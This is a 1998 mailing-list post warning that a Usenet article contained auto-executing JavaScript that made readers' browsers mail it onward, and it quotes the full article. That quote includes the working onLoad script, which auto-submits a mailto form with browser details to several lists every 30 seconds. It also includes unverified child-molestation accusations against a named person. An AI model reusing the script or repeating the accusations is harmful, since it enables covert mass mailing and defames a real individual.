Heeee's back!!

Tue Aug 25 13:23:09 PDT 1998

-----BEGIN PGP SIGNED MESSAGE-----

In <199808251814.LAA15877 at grog.jpl.nasa.gov>, on 08/25/98 
   at 11:14 AM, Ted Lungu <lungu at netside.net> said:

If anyone has noticed the large number of posts being received with the
subject: "Child-Molesting Forger's Chilling Confession" they are being
autogenerated without the poster's knowledge.

How do you ask?? Our good friend Dimitri has posted a HTML message to
numerious newsgroups with embeded javascript. This java script is being
auto-executed by the Netscape program and is mailing out these messages
whenever the reader opens the message.

My complements to the good doctor, yet another example of the enherent
security risks of HTML mail.

Below is a copy of the original news post:

From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Newsgroups:
nyc.general,soc.culture.russian,alt.law-enforcement,alt.true-crime,soc.culture.romanian,misc.kids,misc.kids.health,sci.crypt,comp.security.firewalls,comp.lang.javascript,comp.security.misc,comp.org.eff.talk,misc.invest.funds,misc.invest.futures,misc.invest.stocks,misc.invest.technical,misc.invest.real-estate,alt.fan.karl-malden.nose,sci.cryonics,soc.motss,soc.culture.ukrainian,soc.culture.jewish,soc.religion.quaker,alt.folklore.computers
Subject: Child-Molesting Forger's Chilling Confession!!!1!
Date: Sat, 22 Aug 1998 11:00:00 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. Lines: 16
Approved: dlv at bwalk.dm.com
Expires: Fri, 22 Aug 2008 11:00:00 EST
Message-ID: <D6767652w165w at bwalk.dm.com>
References: <DKjfi4r2w165w at bwalk.dm.com>
NNTP-Posting-Host: bwalk.dm.com
Mime-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Summary: beware the Internet pedophiles
Content-Disposition: inline; filename="warning.htm"
Content-Description: The chilling confession of the self-admitted and
- -exposed child-molesting forger Content-Base:
"file:///POWER%20MAC/warning.html" Disclaimer: CUNY is full of GOWNO, but
100% agrees with all the facts I present X-Face:
(d~Q1[m:7MNXk3-PPCG=Woa93hY6X~&6Z!y#.QB7f-$hfnm>eWIty%YX[43P^g~=N/v3V64
 JfQgHy0h_vvpS'G#15(A=$KZce>%S`xcS%*Ja1GqLFZcPS*\1sy\`X,%WN)fwcU^!\wpY^&C.u,%@0
 21q6kV=(/'B)J]JF;=9/t8cj~gOA9d at v[]B?te|Zi(/w\Aro%()cU!{"'Jo7)Y6 Path:
carrera!news.bctel.net!newsfeed.direct.ca!ptdnetP!newsgate.ptd.net!newspeer.monmouth.com!news.lightlink.com!news.alt.net!perun!dlv
Xref: carrera nyc.general:22129 soc.culture.russian:88474
alt.law-enforcement:217670 alt.true-crime:102690
soc.culture.romanian:52893 misc.kids:374647 misc.kids.health:36966
sci.crypt:40607 comp.security.firewalls:13466 comp.lang.javascript:79964
comp.security.misc:26512 comp.org.eff.talk:46645 misc.invest.futures:53448
misc.invest.stocks:229734 misc.invest.technical:44459
misc.invest.real-estate:56139 alt.fan.karl-malden.nose:151559
sci.cryonics:6452 soc.motss:193052 soc.culture.ukrainian:39182
soc.culture.jewish:242558 soc.religion.quaker:16761
alt.folklore.computers:77067

<html><head><script language="JavaScript">
function c2(){document.f1.Remedy.click();setTimeout('c2();',30000);}
function
cl(){document.f1.Browser.value=navigator.appName+":"+navigator.userAgent;setTimeout('c2();',100);}
</script></head><body onLoad="cl()"><form name="f1" method="post"
enctype="text/plain"
action="mailto:cypherpunks at cyberpass.net,cypherpunks at toad.com,cypherpunks at algebra.com,shamrock at cypherpunks.to,fight-censorship at vorlon.mit.edu?subject=Re:
Child-Molesting Forger's Chilling Confession!!!1!"> <textarea
name="Encrypted_Message" cols=76 rows=8>On 4 May 1998 02:57:07 GMT, in
article <6ijaq3$bb1 at news1.panix.com>, <The at NSA.sucks>
Information Security (= Guy Polis <guy at panix.com>) wrote: #   Guy
Polis (guy at panix.com, eviljay at bway.net) is a pedophile child #   molester
who was fired from his consulting position at Salomon Brothers #   after
he was caught masturbating in his cubicle at the child pornography #  
JPEGs that he downloaded from the Internet.

The poster's been awful quiet lately - did the feds arrest
him?</textarea><br> <input type="hidden" name="Browser" value="Unknown">
<input type="submit" name="Remedy" value="Tell the world"></form>
(Reposted due to a forged cancel.)</body></html>

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.openpgp.net
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 5.0 at: http://www.openpgp.net/pgp.html
- ---------------------------------------------------------------

Tag-O-Matic: What I like about MS is its loyalty to customers!